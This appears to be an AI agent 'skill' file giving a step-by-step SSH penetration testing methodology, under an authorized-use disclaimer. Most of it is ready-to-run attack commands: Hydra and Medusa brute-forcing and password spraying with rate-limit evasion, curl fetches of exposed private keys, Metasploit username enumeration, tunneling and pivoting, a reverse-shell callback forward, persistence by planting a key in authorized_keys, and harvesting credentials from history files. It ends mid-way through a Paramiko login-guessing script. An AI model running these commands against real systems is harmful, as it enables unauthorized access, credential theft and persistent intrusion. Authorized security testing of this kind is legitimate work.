AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
SSH Penetration Testing
Purpose
Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.
Prerequisites
Required Tools
- Nmap with SSH scripts
- Hydra or Medusa for brute-forcing
- ssh-audit for configuration analysis
- Metasploit Framework
- Python with Paramiko library
Required Knowledge
- SSH protocol fundamentals
- Public/private key authentication
- Port forwarding concepts
- Linux command-line proficiency
Outputs and Deliverables
- SSH Enumeration Report - Versions, algorithms, configurations
- Credential Assessment - Weak passwords, default credentials
- Vulnerability Assessment - Known CVEs, misconfigurations
- Tunnel Documentation - Port forwarding configurations
Core Workflow
Phase 1: SSH Service Discovery
Identify SSH services on target networks:
# Quick SSH port scan
nmap -p 22 192.168.1.0/24 --open
# Common alternate SSH ports
nmap -p 22,2222,22222,2200 192.168.1.100
# Full port scan for SSH
nmap -p- --open 192.168.1.100 | grep -i ssh
# Service version detection
nmap -sV -p 22 192.168.1.100
Phase 2: SSH Enumeration
Gather detailed information about SSH services:
# Banner grabbing
nc 192.168.1.100 22
# Output: SSH-2.0-OpenSSH_8.4p1 Debian-5
# Telnet banner grab
telnet 192.168.1.100 22
# Nmap version detection with scripts
nmap -sV -p 22 --script ssh-hostkey 192.168.1.100
# Enumerate supported algorithms
nmap -p 22 --script ssh2-enum-algos 192.168.1.100
# Get host keys
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100
# Check authentication methods
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100
Phase 3: SSH Configuration Auditing
Identify weak configurations:
# ssh-audit - comprehensive SSH audit
ssh-audit 192.168.1.100
# ssh-audit with specific port
ssh-audit -p 2222 192.168.1.100
# Output includes:
# - Algorithm recommendations
# - Security vulnerabilities
# - Hardening suggestions
Key configuration weaknesses to identify:
- Weak key exchange algorithms (diffie-hellman-group1-sha1)
- Weak ciphers (arcfour, 3des-cbc)
- Weak MACs (hmac-md5, hmac-sha1-96)
- Deprecated protocol versions
Phase 4: Credential Attacks
Brute-Force with Hydra
# Single username, password list
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
# Username list, single password
hydra -L users.txt -p Password123 ssh://192.168.1.100
# Username and password lists
hydra -L users.txt -P passwords.txt ssh://192.168.1.100
# With specific port
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100
# Rate limiting evasion (slow)
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100
# Verbose output
hydra -l admin -P passwords.txt -vV ssh://192.168.1.100
# Exit on first success
hydra -l admin -P passwords.txt -f ssh://192.168.1.100
Brute-Force with Medusa
# Basic brute-force
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh
# Multiple targets
medusa -H targets.txt -u admin -P passwords.txt -M ssh
# With username list
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh
# Specific port
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222
Password Spraying
# Test common password across users
hydra -L users.txt -p Summer2024! ssh://192.168.1.100
# Multiple common passwords
for pass in "Password123" "Welcome1" "Summer2024!"; do
hydra -L users.txt -p "$pass" ssh://192.168.1.100
done
Phase 5: Key-Based Authentication Testing
Test for weak or exposed keys:
# Attempt login with found private key
ssh -i id_rsa user@192.168.1.100
# Specify key explicitly (bypass agent)
ssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100
# Force password authentication
ssh -o PreferredAuthentications=password user@192.168.1.100
# Try common key names
for key in id_rsa id_dsa id_ecdsa id_ed25519; do
ssh -i "$key" user@192.168.1.100
done
Check for exposed keys:
# Common locations for private keys
~/.ssh/id_rsa
~/.ssh/id_dsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/etc/ssh/ssh_host_*_key
/root/.ssh/
/home/*/.ssh/
# Web-accessible keys (check with curl/wget)
curl -s http://target.com/.ssh/id_rsa
curl -s http://target.com/id_rsa
curl -s http://target.com/backup/ssh_keys.tar.gz
Phase 6: Vulnerability Exploitation
Search for known vulnerabilities:
# Search for exploits
searchsploit openssh
searchsploit openssh 7.2
# Common SSH vulnerabilities
# CVE-2018-15473 - Username enumeration
# CVE-2016-0777 - Roaming vulnerability
# CVE-2016-0778 - Buffer overflow
# Metasploit enumeration
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.100
run
# Username enumeration (CVE-2018-15473)
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/users.txt
run
Phase 7: SSH Tunneling and Port Forwarding
Local Port Forwarding
Forward local port to remote service:
# Syntax: ssh -L <local_port>:<remote_host>:<remote_port> user@ssh_server
# Access internal web server through SSH
ssh -L 8080:192.168.1.50:80 user@192.168.1.100
# Now access http://localhost:8080
# Access internal database
ssh -L 3306:192.168.1.50:3306 user@192.168.1.100
# Multiple forwards
ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100
Remote Port Forwarding
Expose local service to remote network:
# Syntax: ssh -R <remote_port>:<local_host>:<local_port> user@ssh_server
# Expose local web server to remote
ssh -R 8080:localhost:80 user@192.168.1.100
# Remote can access via localhost:8080
# Reverse shell callback
ssh -R 4444:localhost:4444 user@192.168.1.100
Dynamic Port Forwarding (SOCKS Proxy)
Create SOCKS proxy for network pivoting:
# Create SOCKS proxy on local port 1080
ssh -D 1080 user@192.168.1.100
# Use with proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT -Pn 192.168.1.0/24
# Browser configuration
# Set SOCKS proxy to localhost:1080
ProxyJump (Jump Hosts)
Chain through multiple SSH servers:
# Jump through intermediate host
ssh -J user1@jump_host user2@target_host
# Multiple jumps
ssh -J user1@jump1,user2@jump2 user3@target
# With SSH config
# ~/.ssh/config
Host target
HostName 192.168.2.50
User admin
ProxyJump user@192.168.1.100
Phase 8: Post-Exploitation
Activities after gaining SSH access:
# Check sudo privileges
sudo -l
# Find SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
# Check SSH directory
ls -la ~/.ssh/
cat ~/.ssh/known_hosts
cat ~/.ssh/authorized_keys
# Add persistence (add your key)
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
# Extract SSH configuration
cat /etc/ssh/sshd_config
# Find other users
cat /etc/passwd | grep -v nologin
ls /home/
# History for credentials
cat ~/.bash_history | grep -i ssh
cat ~/.bash_history | grep -i pass
Phase 9: Custom SSH Scripts with Paramiko
Python-based SSH automation:
#!/usr/bin/env python3
import paramiko
import sys
def ssh_connect(host, username, password):
"""Attempt SSH connection with credentials"""
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(host, username=username, password=password, timeout=5)
print(f"[+] Success: {username}:{password}")
return client
except paramiko.AuthenticationException:
print(f"[-] Failed: {username}:{password}")